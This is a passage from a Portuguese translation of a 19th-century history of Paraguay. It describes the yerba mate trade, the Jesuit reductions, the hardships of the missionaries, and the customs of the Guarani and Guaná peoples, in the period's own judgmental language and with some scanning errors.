Dos naturais aprenderam os espanhóis, segundo se diz, o uso deste chá, fato singular, atendendo-se a quão selvagem era c estado em que se achavam estas tribos. Depressa se adotou o uso, vulgarizando-se pelas províncias adjacentes, de modo que pela muita demanda tornou-se a erva do Paraguai quase tão fatal aos índios desta parte da América como as minas e a pesca de pérolas o foram em outros lugares. Crescem as coAs em maior abundância nas florestas umas duzentas léguas ao norte da Assunção, num terreno pantanoso e coberto de lodo. Não era o trabalho de apanhar e preparar as folhas na verdade nem penoso nem insalubre, mas excessivas as fadigas da jornada. Havia que romper mato, lançar pontes sobre os rios para passagem dos animais, e deitar fachinas através d°s lenteiros. Alcançadas as selvas, era o primeiro cuidado erguer ranchos para a gente e cercas para as bestas, e depois levantar estrados, à guia de boucáns, para em cima deles secar os ramos. Terminada a tarefa do dia, corriam os índios a mergulhar na água mais próxima, arrancando depois uns aos outros os vermes, de que tinham coberto o corpo; se se deixava de fazer isto, em poucos dias seguia-se a morte à inflamação e úlceras que estes animalculos causavam. Muitos milhares de homens andam constantemente nas matas a apanhar e preparar as folhas, e foi assim que se consumiram os índios das encomiendüs.. Empregam-se neste tráfico também muitos milhares de bois e mulas, que depressa ficam estropiados tanto pelo comprimento da jornada como pela natureza dos caminhos, muito mais porém ainda pela pouca humanidade com que se trata o gado num país onde êle tem tão pouco valor. Daqui vem enriquecerem raras vezes os que se entregam ao primeiro ramo deste comércio, que tão lucrativo é para os que negociam no artigo já pronto. As folhas prepararadas metem-se em surrões quadrados de sete arrobas cada um, sendo dois a carga duma mula que não pode levam mais. Se lhe deitam mais alguns arráteis, ajoelha o animal, vira-se de cosias, e resiste obstinadamente à imposição.

Destroem os espanhóis as árvores do mate

Costumavam os índios colher as folhas da mesma árvore, cortando apenas os ramos viçosos, como para podá-la; com cega rapacidade porém de quem só olha o lucro imediato, a cortavam os mercadores espanhóis o tronco como processo mais rápido. Assim foram destruindo as selvas, tendo cada ano de ir mais longe em busca de outras. Com a costumada previdência quiseram os jesuítas cultivar o mate. Tentaram semeá-lo, mas sem resultado; depois ensaiaram a transplantação de pés novos, mas embora estes pegass-m, era por demais difícil e penoso o trabalho. Então deram ouvidos a um conto dos índios, que eles talvez ao princípio tivessem reputado fabuloso, a saber que as sementes desta árvore não guermina. vam sem terem sido primeiramente comidas pelos pássaros. Puseram-se à cata de sementes neste caso, mas raciocinando também sobre o fato descobriram o que por meio deste processo se efetuava. Estão as sementes cobertas duma substância viscosa que levanta espuma na água, e enquanto as não privam dela, não rebentam. Lavaram pois os jesuítas a semente fresca em água quente, mas as árvores cultivadas jamais atingem a altura das silvestres, sendo disto talvez causa não se imitar pelo método artificial senão parte apenas do processo natural. Tempera-se a terra a ponto de lodo, e ao transplantarem-se os pés da árvore, mete-se cada um no meio dum buraco feito para recolher água. À roda se lhe arma s-be, que defenda do vento e da geada a caa, a qual por não poder suportar o frio se acha limitada ao norte do Paraguai, e passado o quarto ano principiam-se a apanhar as folhas. Levantou-se um clamor contra os jesuítas por introduzirem esta árvore nas reduções, como se fora intento deles enriquecer a companhia, competindo com a Assunção no seu único ramo importante de comércio; e em conseqüência deste receio proibiu-se-lhes exportar de todos os aldeamentos mais de 12 000 arrobas por ano.28 A exportação anual da Assunção era de quase 130 000 servindo esta cidade de depósito à erva vinda de Vila Rica e Curuguati, as duas povoações que com mais atividade se entregavam ao fabrico dela. Tão infundada pois como as outras acusações que se lhes fizeram é esta de se enriquecerem os jesuítas com o grande tráfico que faziam neste artigo.

Dobrizhoffer, 1, 111-112. Jolis, 292

O sistema pelo qual se haviam fundado e se administravam agora as reduções, era confessadamente modelado pelo que Nóbrega e Anchieta tinham seguido no BrasÜ29; quem porém o desenvolveu no Paraguai, dando-lhe a sua forma perfeita, foram Lorenzana, Montóia e Diaz Tano. Jamais houve despotismo mais absoluto, mas também jamais existiu outra sociedade em que o bem-estar temporal e eterno dos súditos fosse o único fito do governo. Erravam, é verdade, os governantes grosseiramente no padrão que dum e doutro se haviam proposto, mas apesar disso merecem a maior admiração a santidade do fim, e o heroísmo é a perseverança com que se procurava consegui-lo. Entre as inúmeras calúnias de que foram alvo os jesuítas, asseverava-se que viviam quais príncipes no seu império do Paraguai, engolfados em todas essas sensualidades interditas aos seus conversos. Os romances da ha-giologia católica estão longe de pintar os seus santos como isentos a tentações, mas nada há nesses contos mais monstruoso do que seria supor estes missionários movidos por outro motivo que não o de dever para com Deus e o próximo. Os homens escolhidos para este serviço tinham dado provas do seu entusiasmo como entrar para a companhia e pedirem semelhante missão. Aqui pois era fora de dúvida a inclinação de cada indivíduo, donde nascia a probabilidade da sua aptidão para a obra, e na ordem dos jesuítas a cada homem, segundo as suas qualidades, boas ou más, se assinava o posto para que estava talhado, desde os que dirigiam os conselhos dos monarcas católicos e organizavam conspirações nos países heréticos, até ao humilde servo leigo do hospital, que com todo o ardor do amor religioso se votava aos mais asquerosos serviços que exige a humanidade sofredora. Nos irmãos mais moços que serviam de coadjutores nas reduções, enquanto aprendiam a língua, poderia às vezes esfriar o entusiasmo, entregando-se eles a propensões de que o estado antinatural em que se- viam postos, e os erros em que os educavam, lhes faziam um pecado. Mas casos destes deviam de necessidade ser raríssimos. A vida do missionário, desde que êle dava prin cípio aos seus trabalhos, indo em busca dos índios bravos, passava-se entre as mais árduas fadigas, as mais duras provações e os maiores perigos, freqüentemente terminados por prematura morte. Ao tempo de o julgarem competente para encarregar-se duma redução, estavam já fixados os hábitos intelectuais e morais: havia o orgulho de sustentar a dignidade do próprio caráter e do da companhia e havia o império ainda mais poderoso dos princípios e da fé. Amplamente via êle então compensados os sacrifícios que fizera da ambição mundana, de todas as afeições naturais e dos cômodos da vida civilizado. Da tentação de duvidar das fábulas que pregava e da idolatria que praticava, pouco podia haver, e a época de todas as outras tentações era já passada. Via-se diretor absoluto de toda uma comunidade, que à ordem de que êle era membro, devia todos os bens neste mundo, e todas as esperanças no outro, a paz e a felicidade na terra, e a bem-aventu-rança no céu, e acreditava-se o agente imediato entre estes índios e o Criador, senhor daqueles e servo d’Êste, o pastor fiel dum rebanho venturoso.

Mas se os jesuítas se achavam assim colocados em circunstâncias em que até a superstição lhes purificava e exaltava o caráter, pondo-lhes em ação não só a caridade mas também o heroísmo, outro tanto estava longe de dar-se com os índios sistematicamente conservados num estado de inferioridade moral. Tudo quanto podia torná-los bons servos e felizes na servidão, se lhes ensinava cuidadosamente, mas além disso nada, que pudesse conduzi-los à emancipação política e intelectual Assim se dava aos inimigos da companhia justo motivo de acusações. Por que, dizem eles, nada se tenta para elevar os índios à categoria de agentes livres? Por que, se eram êle-s civilizados, os não tornavam capazes de gozar dos previlégios da civilização? Se o sistema nenhum resultado melhor havia de produzir, não tinham os jesuítas trabalhado senão para formarem a si mesmos um império. Era este argumento mui diverso dos originados na inimizade de partidos políticos e religiosos, e a posteridade lhe deu indubitavelmente todo o seu peso. Debalde replicavam os jesuítas que mais do que crianças crescidas não eram estes índios30j quer tal obtusidade do entendimento dôsse defeito inerente à raça, quer conseqüência da vida selvagem. Não se lhes podia admitir a resposta depois que debaixo da tutela deles tinham crescido gerações. Não se atreviam os padres a insistir na primeira alternativa, que teria sido dar razão aos encomenderos e traficantes de escravos, mas se na raça não havia inferioridade original e radical, então era do sistema porque se regiam as reduções que provinha o defeito. Por que, perguntava-se, não se hão de os jesuítas recrutar entre estes mesmos índios, quando é tão difícil haver da Europa missionários, tão dispendioso o transporte e impossível consegui-los em número suficiente? Por que não há de a companhia, que em outros países se tem mostrado tão cristãmente indiferente a castas e cores, admitir Guaranis no seu seio? A resposta era que os superiores tinham determinado outra coisa, que tudo ia assim bem, conse-guindo-se o fim proposto com levar os índios a um estado de obediência, virtude e felicidade cristãs. Assegurava-se-lhes o summum bonum, o bem-estar na vida presente e na futura. Miseravelmente insuficiente parecerá a resposta àqueles que têm fé nesse melhoramento da humanidade, e nessa diminuição de mal que a sabedoria humana e a religião divina nos autorizam a esperar no mundc/ mas cumpre ter presentes as circunstâncias da sociedade circunderramada, em que se pretendia incorporar estes índios, e quem vir ante si desenrolado esse painel, terá por justificados os jesuítas.31

Incômodos e perigos a que andavam expostos os missionários

Excessivos eram os esforços que faziam os jesuítas, as dificuldades porque passavam, e os perigos a que se expunham, buscando e reduzindo as tribos selvagens. Saía o missionário com o seu breviário e uma cruz de seis pés de altura que lhe servia áe bordão. Acompanhavam-no cerca de trinta conversos, como guias, intérpretes, e servos, ou antes como companheiros de trabalhos: iam armados, mas não com armas de fogo, e levavam machados e facas de mato para abrir picadas pelas selvas, provimento de milho para caso de necessidade, e o necessário para fazer fogo. Facilmente se poderiam levar redes para dormir, mas os missionários raras vezes faziam uso de coisas de que era possível prescindir. Não é grande o perigo que no Paraguai e províncias adjacentes se corre quanto a animais ferozes32, mas poucas partes há no mundo em que o viajante encontre tantas pragas para molestá-lo . O primeiro cuidado ao fazer alto para passar a noite, ou mesmo para tomar alguma refeição durante o dia, é bater o chão e pisar a erva à volta até prudente distância pata afugentar as cobras, que neste país são numerosíssimas, acudindo aonde vêem fogo.33 O tormento dos insetos torna-Se quase insuportável. Onde é mais fina a selva, onde há moitas ou águas estagnadas, às margens de lagos e rios, ou onde há selvas que por mais densas não deixem girar o ar, quem aí quiser passar a noite, diz Dobrizhoffer, não pense em dormir. É como se todas as pragas do Egito tivessem sido transferidas para as planícies da América do Sul. Vermes de todos os tamanhos são também assaz numerosos para importarem um flagelo. Cobertos de pulgas Os campos, quem se deita no que se lhe antolha terra limpa, onde não se vê vestígio de homem nem de animal, levanta-se preto com a multidão destes bichos. A vinchuòd, ou percevejo voador, é mais formidável dentro do que fora das casas.34 Verejeras e vespas atormentam os cavalos e mulas. Mas a mosca vulgar é de todas a mais séria praga, tanto para homens como para animais: mete-se nos ouvidos e ventas dos que dormem, deposita aí as larvas roendo caminho pela cabeça dentro, até que entre as dores mais desesperadas sobrevem a morte. Nas ilhas colombianas bem se conhece isto como um perigo, a que estão expostos os doentes, mas no Paraguai ocorre freqüentemente o caso, dizendo Dobrizhoffer que temia mais a mosca do que todos os outros insetos e os répteis venenosos do país. Por sobre todos estes males tinham os missionários de suportar muitas vezes os extremos da fadiga e da fome, ao atravessarem matos e charnecas, e quando, vencidos todos estes obstáculos, encontravam os selvagens que buscavam, caíam freqüentemente eles e os seus companheiros, vítimas da ferocidade, capricho ou desconfiança daqueles mesmos por amor dos quais tanto haviam sofrido.

Tribos de que eram formadas as reduções

Linguagem

De grande variedade de tribos se formavam as reduções, mas sendo do tronco guarani a maior parte delas, guarani se tcrnou também a linguagem destes aldeamentos, dando-se a mesma denominação genérica aos índios convertidos no Paraguai. São dialetos cognatos o guarani e o tupi: tão Intimamente ligados e tão amplamente difundidos que se falam por todo o país entre o Amazonas e o Prata, do Atlântico às montanhas do Peru.35 Muitas línguas radicalmente diferentes se acham entremeadas, mas viajante que fale o guarani t o tupi será entendido por toda a imensa extensão destas regiões. Sendo mais numerosos que nenhuma outra raça os Guaranis, eram também suas hordas as mais populosas, contudo gostavam de se arrebanharem que não era raro conter uma só habitação toda a parentela. Mais profundamente assinalada do que entre as outras tribos era a distinção entre o chefe e o seu povo, nenhum espanhol julgava aviltar-se desposando a filha dum régulo guarani. Era hereditária esta dignidade, mas também a eloqüência e o valor a ela podiam elevar, que fácil era a um bom orador, que também tivesse fama de valente, obter influência bastante para formar uma comunidade independente, sem que isto pareça ter desafiado o ressentimento do chefe, a cujo mando êle se subtraía com seus aderentes. Não faltavam inimigos que combater sem necessidade de guerras intestinas, podendo estas subdivisões ser até convenientes quando crescia demasiadamente a horda, como um enxame se aparta da colmeia. Diz-se que os caciques reclamavam para si as mulheres mais formosas, que todavia repartiam facilmente pelos seus sequazes: quer isto talvez dizer que podiam eles escolher mulheres para si e dispor delas para outros. Andavam estas sempre decentemente vestidas, e também alguns homens traziam pêlos que lhes caíam dos ombros até abaixo dos joelhos; outros uma espécie de rede, que pouco servia para cobrir a nudez ou garantir do frio, ainda outros curto tendal de pernas. Porém o mais geral era por única cobertura pintar todo o corpo com o suco de plantas36, dar-lhe uma camada de barro de côr, em que gravavam figuras grosseiras, moda menos durável do que as escarificações coloridas, e talvez por isso mesmo preferida, como suscetível de variar à vontade de quem a usava. Gastavam-se horas em assim decorar a pele, asseando o marido a mulher e a mulher o marido.

Chegada à idade da puberdade era a rapariga entregue a uma mulher, para durante oito dias a fazer passar por um duro noviciado, que consistia em obrigá-la a trabalhar muito, dar-lhe pouco de comer, e não lhe deixar um momento de repouso; entre algumas tribos prendiam-na numa rede dois ou três dias com rigoroso jejum, e segundo a força e o espírito com que ela sustentava esta prova, se agourava das suas qualidades como dona de casa. Findo os oito dias, cortavam-lhe o cabelo, tendo a noviça de abster-se de carne até que êle lhe tornasse a cobrir as orelhas. Neste meio tempo faziam-na trazer água, pisar milho, e trabalhar assiduamente em todos os misteres domésticos: olhar para um homem era para ela um crime, e se por acaso dava com os olhos num papagaio, ficava entendido que toda a sua vida havia de ser faladora. Crescido o cabelo do comprimento marcado, adornavam-na com todos os enfeites imagináveis e declaravam-na casadoura. Antes de observadas estas formalidades reputava-se criminosa toda a intriga amorosa. As mulheres pejadas abstinham-se de comer carne de anta não fosse vir o filho com nariz comprido, e da de passarinhos não fosse êle sair pigmeu. Durante a gravidez de sua mulher não devia o marido matar animal algum bravo, nem fazer qualquer arma, ou o cabo de algum instrumento. Por quinze dias depois do nascimento não comia êle carne, tirava a corda ao arco, nem armava laços às aves; e se a criança adoecia, todos os parentes se abstinham das comidas que no seu entender lhe fariam mal a ela, se as comesse. Algumas mulheres gostavam de amamentar cachorrinhos, prática monstruosa e repugnante que não raro se tem descoberto entre selvagens. Fácil era entre os Guaranis a condição do sexo frágil; incumbia-lhe na verdade transportar tudo, quando a horda mudava de acampamento, mas também por isso lhe tocava o privilégio de marcar o comprimento da jornada de cada dia, e apenas uma de cansada arreava a carga, todos faziam alto. Aos caciques era lícito ter muitas mulheres a um tempo, podendo o irmão dum régulo falecido tomar-lhe a viúva, aliança que em outros casos não se permitia.

Jolis, 127

 

Techo, 37. 38. Notícias do Paraguai. Ms. Charl voix, 181-4

Na guerra usavam alguns Guaranis do laço e bola, que tão fatal havia sido aos primeiros espanhóis no Prata. Prendiam-se três destas bolas, do peso de uma libra cada uma, de outras tantas cordas, de três a quatro varas de comprimento, amarradas juntas. Pois que vinha do Puelches o uso desta arma, é provável que se limitasse às hordas do sul. O arco guarani é aguçado em embas as pontas, servido de lança quando não retesado, mui rijo, e com tiras de casca de guemba enroladas por todo o seu comprimento, o que o torna mais forte ainda. As crianças matavam pássaros com um arco de cerca de três pés de comprido, e mui curvo, com duas cordas, que passadas por pedacinhos de pau se conservavam à polegada de distância uma da outra. No meio destas cordas fica uma espécie de bolsa ou rede, que carregada com quatro Ou cinco seixos mata a caça a quarenta passos. Assevera Azara37 que despedido a distância de trinta, quebra um destes seixos a perna a um homem, mas este instrumento jamais se emprega na guerra. Era costume inviolável entre estas tribos, como em geral entre os selvagens, trazer do campo da batalha os seus mortos, tanto para esconder do inimigo a própria perda, como para honrar-lhes os restos. Os prisioneiros eram imolados e comidos com certas cerimônia particulares. Tratava-se bem a vítima destinada ao sacrifício; ocultavam-lhe o dia aprazado para este e davam-lhes mulheres, cuja única obrigação era atender aos cômodos e bem-estar do preso. Posto êle bem gordo, convidavam-se todas as pessoas para o banquete, e formavam os hóspedes um círculo, no meio do qual marchava com muita gravidade o que, tendo tomado o prisioneiro, era por conseguinte quem fazia a festa. Ornado de penas era o cativo trazido por quatro dos mais vistosos mancebos, que o entregavam a seis velhas, gozando estas bruxas entre todas as tribos antropófagas da preferência em ocasiões tão execráveis.38 Tão diabólico como o ofício era o aspecto destas megeras; tinham pintados de vermelho e amarelo os corpos, e ornados os pescoços dc colares e dentes humanos, distintivo que como seu reclamava em tais sacrifícios, e para receber o sangue e entranhas da vitima traziam vazos de barro, a cujo som, enquanto vazios tocados como fraudeiros, dançavam à volta. Saía então à frente o autor da festa, assentando brandamente a macana sobre a cabeça do seu prisioneiro, zombaria que era aplaudida com estrondosas gargalhadas; segunda e terceira vez tocava êle de leve a cabeça voltada e de cada vez se renovavam as aclamações. Depois deste prelúdio quarta vez se erguia a macana, mas para o golpe mortal agora. Vinha então cada convidado tocar o corpo, cerimônia que servia como um diabólico rito batismal, trocando-se nesta ocasião o nome que a criança recebera ao nascer. Não podendo a carne chegar para tão grande multidão como se costumava reunir, ferviam-se os ossos para que todos os parentes participassem do caldo, de que até as crianças de peito haviam de provar. Toda a vida eram lembrados estes festins, de que sempre se falava com júbilo e orgulho.

A morte dos conterrâneos, quer ocorresse na guerra, quer no curso ordinário da natureza, era lamentada pelas mulheres com uivos e berros; arrancavam os cabelos e contundiam a fronte, e as viúvas atiravam-se de lugares elevados para exprimir a sua dor, aleijando-se assim às vezes para o resto de seus dias. Acreditavam que a alma continuava a acompanhar o corpo dentro do túmulo, pelo que tinham cuidado de deixar íugar para ela. Não custou pouco tirar esta idéia da cabeça aos primeiros conversos, e as mulheres iam em segredo aos jazigos dos maridos e dos filhos tirar-lhes parte da terra para que não lhes pesasse. Era por isto que os que enterravam os

Notícias do Paraguai. Ms.

seus mortos em grandes vasos de barro, cobriam o rosto do cadáver com um prato côncavo, para que não ficasse sufocada a alma. Por dura iniciação tinham de passas os pagés, vivendo cm lugares escuros e remotos, sós, nus, sem se lavarem, sem se pentearem, e sustentando-se unicamente de pimenta e milho assado até que quase perdidos os sentidos, caíam nesse estado em que criam os jesuítas invocarem êle o diabo e acudir esse ao seu chamado.39 Pretendiam aqueles charlatães possuir o poder de matar ou caçar com a sua mágica e adivinhar o futuro pela linguagem das aves. Quando esperavam algum visitante, perfumavam suas choças com a resina de Ybira pagéAo Como relíquias ou objetos de culto se conservavam os ossos destes bonzos. Entre algumas tribos eíam as pagés obrigadas a guardar castidade, ou ninguém mais acreditava nelas. Toda a raça guarani, como os selvagens em geral, era mui aferrada a práticas supersticiosas; tomavam nota dos sonhos com temerosa credulidade; o contato duma coruja parecia-lhes que os tornava inertes, e era crença geralmente recebida que mulher que comesse um grão dobrado de milho miúdo dava à luz gêmeos. Os eclipses atribuíam-se a um tigre e um canzar-rão, que perseguiam o sol e a lua para devorá-los, olhando os guaranis como maior terror estes fenômenos, não fossem as feras lograr o seu intento.

Criavam aves algumas das tribos sedentárias; entre estas progredia a população sempre mais dócil e menos feroz que as hordas errantes que do acaso confiavam a subsistência. Todas as tribos porém se recordavam da sua afinidade, e se esta lhes não servia de laço de união, também só faziam elas a guerra às outras todas que não reconheciam do seu tronco, designando-as pela oprobriosa denominação de escravos.- Apesar desta altiva pretenção estavam contudo os Guaranis longe de manter no sertão o mesmo caráter que os Tupis seus parentes haviam adquirido na costa. Ou eles tinham degenerado, ou algumas das noções que eles assim afetavam desprezar, haviam melhorado muito, o certo é que nos últimos tempos passaram eles até pelo povo menos guerreiro e corajoso do Paraguai.Deve isto ser devido às circunstâncias locais, não a qualquer inferioridade genérica^: em mui diversos graus de adiantamento se achavam os diferentes ramos desta amploder-ramada raça, fraca nuns sítios e por isso receosa da guerra, numerosa em outros, confiada e guerreira. Os Chiriguanas, que do lado de Tarija infestavam o Peru, habitando os vales dessas prodigiosas montanhas que Se estendem quase até aos limites de S. Cruz de la Sierra, eram de raça guarani, e sempre os espanhóis os acharam formidáveis inimigos. O número total destes índios tem sido orçado em quarenta mil, e posto que divididos em muitas tribos, todos se reputam uma nação, auxiliando-se mutuamente na guerra. Vivem em habitações fixas, e criam ovelhas (provavelmente vigonhas) por amor da lã tão somente, abstendo-se muitos de comerem-lhe a carne com receio de se tornarem lanígeros. Este povo, que os espanhóis supõem ter sido levado àquele país por Aléxis Garcia44, e ter-se ali estabelecido depois da morte deste, é o mais adiantado de todos os da raça guarani, sendo o mais rude os Caiaguás, índios silvestres que habitam as florestas entre o Paraná e o Uruguai. Não viviam estes em estado social, morando uma família à distância da outra numa miserável choça feita de ramos, subsistindo unicamente de caça, e contentan-do-se à falta de coisa melhor, com cobras, ratos, formigas, minhocas, e toda a casta de répteis e vermes. Também os acusam de armar ciladas a homens, matando-os para comê-los. Contudo ainda estes ínfimos dos Guaranis conservavam alguns vestígios dum estado melhor de que haviam decaído.45 Preparavam uma boa bebida de mel, e de urtigas faziam as mulheres um fio, de que para si trançavam vestidos. Traziam os homens peles mais como ornato do que para uso, achando-se assaz endurecidos com o gênero de vida que levavam. Não se aventurando jamais fora dos mais escuros esconderijos, tinham quase carnadura européia as mulheres. Com estes índios foram mui infelizes os jesuítas, e se logravam atrair alguns às reduções, era tal o efeito duma vida estacionária e talvez do ar livre e da luz, que êks, na frase de Techo, morriam como plantas que criadas à sombra não podem suportar o sol.46

Depois dos Guaranis eram o Guanas4? a raça mais numerosa do sertão, e a alguns respeitos também a mais adiantada. Viviam arrebanhados, contendo cada rancho doze famílias, e suas aldeias, que cortavam muitos destes currais humanos, eram cercadas de paliçadas com quatro portas que regularmente se fechavam e guardavam de noite. Em lugar de dormir em redes ou em peles, erguiam estes índios uma tarimba sobre quatro cavaletes, e encima estendiam uma cama de raminhos, cobrindo-os primeiro de peles e depois de palha. Enterram os mortos à porta das habitações para conservarem fresca a memória dos finados em vez de esquecê-los logo, como é mais vulgar entre selvagens. De oito anos de idade são as crianças levadas ao campo com grande cerimonial e em silenciosa procissão, e passado ali o dia em jejum, reconduzem-nas da mesma forma. Picam-lhe em seguida os braços, e furam-lhes com um osso aguçado, o que elas sofrem sem chorar nem estremecer. As operadoras são velhas, em cujas mãos se acha o exercício da medicina, que consiste principalmente em chupar o estômago da doente. Especial influência exercem entre os Guanas as mulheres, mas procuram-na por meio duma prá- ; tica atroz. Tendo descoberto que o valor dum artigo depende da proporção da oferta com o pedido, exterminam elas, aplicando este princípio, à maior parte das crianças do seu sexo. enterrando-as logo ao nascer para fazerem subir o preço das que poupam. É este um dos fatos mais curiosos na história do homem selvagem. Por motivos de egoísmo, ou superstição, é o infanticídio vulgar entre nações bárbaras, Ou semici-vilizadas, e onde quer que prevaleça este costume são as crianças do sexo feminino particularmente as vítimas, pela dificuldade com que as mulheres provêem à própria subsistência, sendo este talvez o maior mal do estado mais perfeito de sociedade a que temos chegado. Entre algumas tribos americanas freqüentemente se vê a mãe matar a filhinha recém-nascida como um ato de compaixão, tão miserável é ali a sorte da mulher. Mas entre os Guanas era isto uma especulação deliberada em proveito do sexo. Tornadas assim escassas, são as mulheres objeto de grande emulação: casam sempre o mais cedo possível antes de nove anos de idade, enquanto que os homens permanecem solteiros até aos vinte e mais anos, isto é, até terem forças para suplantar os rivais. A noiva estipula antes do casamento o quinhão que há de tocar nos trabalhos agrícolas e domésticos do casal, declarando-se o que terá de fazer e o que dela não deve exigir o marido, isto com a mesma precisão que qualquer legista europeu emprega num contrato matrimonial. Também se convenciona se o marido terá outra mulher (o que raras vezes acontece) ou a mulher outro marido, e quantos, e como repartirá entre eles o seu tempo. Intrigas, ciúmes e freqüentes divórcios são as conseqüências de semelhante sistema, e as vantagens que as Guanas procuram obter por tão detestável meio, terminar por torná-las menos honestas, e por ventura menos felizes de que ar, mulheres de Outras tribos.

Azara, T. 2, 85-100

Jolis, 512

A bebida dos Guanas era chi água ou o sumo da cana de açúcar fervido e não fermentado, e sendo um povo sóbrio, viviam unidos entre si e respeitados dos vizinhos. Por uma singular espécie de convênio achavam-se debaixo da proteção dos Guaicurus; s-rviam-nos nas jornadas e cultivavam-lhes as terras, devendo estes em compensação defendê-los contra todos os inimigos. O serviço ou era em si mesmo tão leve, ou tão raras vezes exigido, que a sujeição, posto que reclamada por uma parte e reconhecida pela outra, se diz ter sido pouco mais que nominal, embora fosse real e eficaz a vantagem que dela derivavam os Guanas. Os Guaicurus sempre os chamavam seus ..escravos, mas o nome que eles a si mesmo se davam diz mal com esta designação, significando guana o varão, como se a nação que usava deste título, merece sobre todas as outras ser por êle designada. A mesma disposição que os induzia a reconhecer a superioridade duma tribo mais valente bem que menos numerosa, leva-os a escambar com os espanhóis os seus serviços pessoais por artigos europeus; alugam-se a si mesmos como trabalhadores para os campos ou como remadores, e por este meio também se poderia introduzir a civilização entre êks, se os hábitos dos colonos cristãos naqueles países não tendessem mais para degradar a raça européia do que para elevar a americana. A sua língua diferia da de todas as outras tribos, sinal de constituírem estes índios uma nação distinta. Eram a mais mansa de todas as tribos do Paraguai e entre Outra nenhuma podiam os missionários esperar colher melhor resultado, mas quando os paulistas repeliram os jesuítas para além do Paraná, ficaram os Gua-nas entregues a si mesmos. Este acontecimento, que os privou dos seus preceptores religiosos, expulsou-lhes também do país os colonos paraguaios. O seu sistema de viver defensável e a aliança dos Guaicurus.os protegia contra os caçadores de escravos, e de todas as tribos desta vasta região, são eles talvez a menos desfalcada em número e a menos mudada no seu gênero de vida. Entre muitas outras* principiava por este tempo a dar-se em conseqüência da multiplicação do gado europeu uma mudança que afinal lhes inverteu todos os hábitos, dando-lhes na guerra superioridade sobre os seus degenerados invasores.

Já fica dito que era o guarani a língua das reduções. DêstJ idioma compôs Montóia uma gramática, para o que achou o caminho aplanado por Anchieta, dizendo-se que o tupi difeie menos desta sua língua radical do que o espanhol do português. Mas se o guarani bastava para uso dum viajante do Prata ao Amazonas, estava longe de levar o missionário através da mesma extensão de terras. Compreendem-se as necessidades do viajante em brevíssimo vocabulário, que com o auxílio de sinais se deixa explicar e às vezes ampliar. De muito mais carece o missionário, e tão grande era no Paraguai o número dos dialetos e até das línguas radicalmente diferentes umas das outras, que da sua multiplicidade falam os jesuítas como duma confusão igual à de Babel. Vencidas as primeiras dificuldades e perigos, adquirido o conhecimento da língua duma destas tribos de modo que pudesse conversar nela correntemente, e ganha a confiança dos índios a ponto de lhe escutarem eles com paciência as lições, tinha o missionário de superar ainda muitos obstáculos, antes de completar a obra da conversão. A perfeição interna não dava aos jesuítas demasiado cuidado. Que ficasse ou não convencido o entendimento do índio, e comovido o seu coração, era coisa de pouco momento, contando que êle anuísse às fórmulas em que o industriavam: a natureza da crença do pai pouco importava, contanto que se pudessem educar os filhos. Nisto se mostravam atilados os padres, mas confiavam em demasia na credulidade. As verdades radicais e vitais da revelação, eles mesmos só nebulosamente as compreendiam, nem era possível que o selvagem as descobrisse através das vestes mitológicas em que lhas envolviam e disfarçavam. As fábulas e monstruosidades do papismo não lhe indignavam a razão, acostumada a tão grosseiro alimento, e êle as recebia como fizera a respeito dos contos dos seus próprios pagés, com admiração e fé implícita, mas também as esquecia tão depressa como um sonho. Sempre os missionários se têm queixado da volubilidade dos seus conversos, e sempre terão de queixar-se do mesmo, enquanto não descobrirem a necessidade de ser a conversão precedida, ou p-lo menos acompanhada dum certo grau de civilização. Mal porém apanhavam os jesuítas as suas ovelhas bravas dentro do cercado, só tratavam de confirmar os neófitos na submissão aos seus mestres espirituais. De tão repetidas impossível era esquecerem-se as lições e a usança das reduções imprimia nos moradores toda a força de crenças inveteradas.

Hervas, 1, 189

Dificuldades a respeito dos casamentos

 

A embriaguez parece não ter sido difícil de extirpar entre os selvagens; a não encontrar indulgência num vício cujas más conseqüências eram tão diretas e tão óbvias, sujeitavam-se eles voluntários, vendo a conveniência, e sentido o benefício. Outro tanto não sucedia porém tratando-se de regular pelas instituições cristãs a comunicação entre os dois sexos. Muitos índios recusavam contentar-se com uma só mulher, e só por isso não deixavam converter-se. Os que condescendiam forneciam um assunto aos casuístas. Eram alguns padres de opinião que a primeira mulher com que coabitara o índio, e que por isso se distinguia das outras por uma designação especial, devia considerar-se a legítima, despedidas todas as demais; outros opinavam que ao marido devia deixar-se livre a escolha entre todas, argumentando que não sendo conhecido o princípio do casamento no estado do paganismo (que permitia repudiar à discrição as mulheres) nenhuma razão justificada havia para dever uma mulher se preferida unicamente pela prioridade da coabitação, e insistindo na dureza óbvia e conseqüência prováveis de se não permitir ao homem escolher à vontade. Submetida a questão a Urbano VIII, decidiu este serem igualmente prováveis ambas as opiniões, podendo os jesuítas seguir uma, conforme os determinassem as circunstâncias e o juízo próprio. Só a respeito da primeira geração de conversos se dava esta dificuldade. Uma vez formadas as reduções, eram as crianças educadas na doutrina que deviam seguir, conseguindo-se o bastante para mostrar que, se os jesuítas houvessem posto um pouco mais alta a mira, depressa se poderiam ter contado os Guaranis entre as nações civilizadas.48 Apreciando porém o bem que fizeram os jesuítas, cumpre recordar que os espanhóis no Paraguai se iam desempenhando nesse estado que com propriedade se não pode chamar nem selvagem nem bárbaro, mas que de todas as condições em que jamais tem existido o homem, é talvez aquela em que menos virtude se desenvolvem.

Traduzido pelo Dr. Luiz Joaquim de Oliveira e Castro. Fonte: Ed. Obelisco, 1965.

NOTAS DESTE CAPÍTULO

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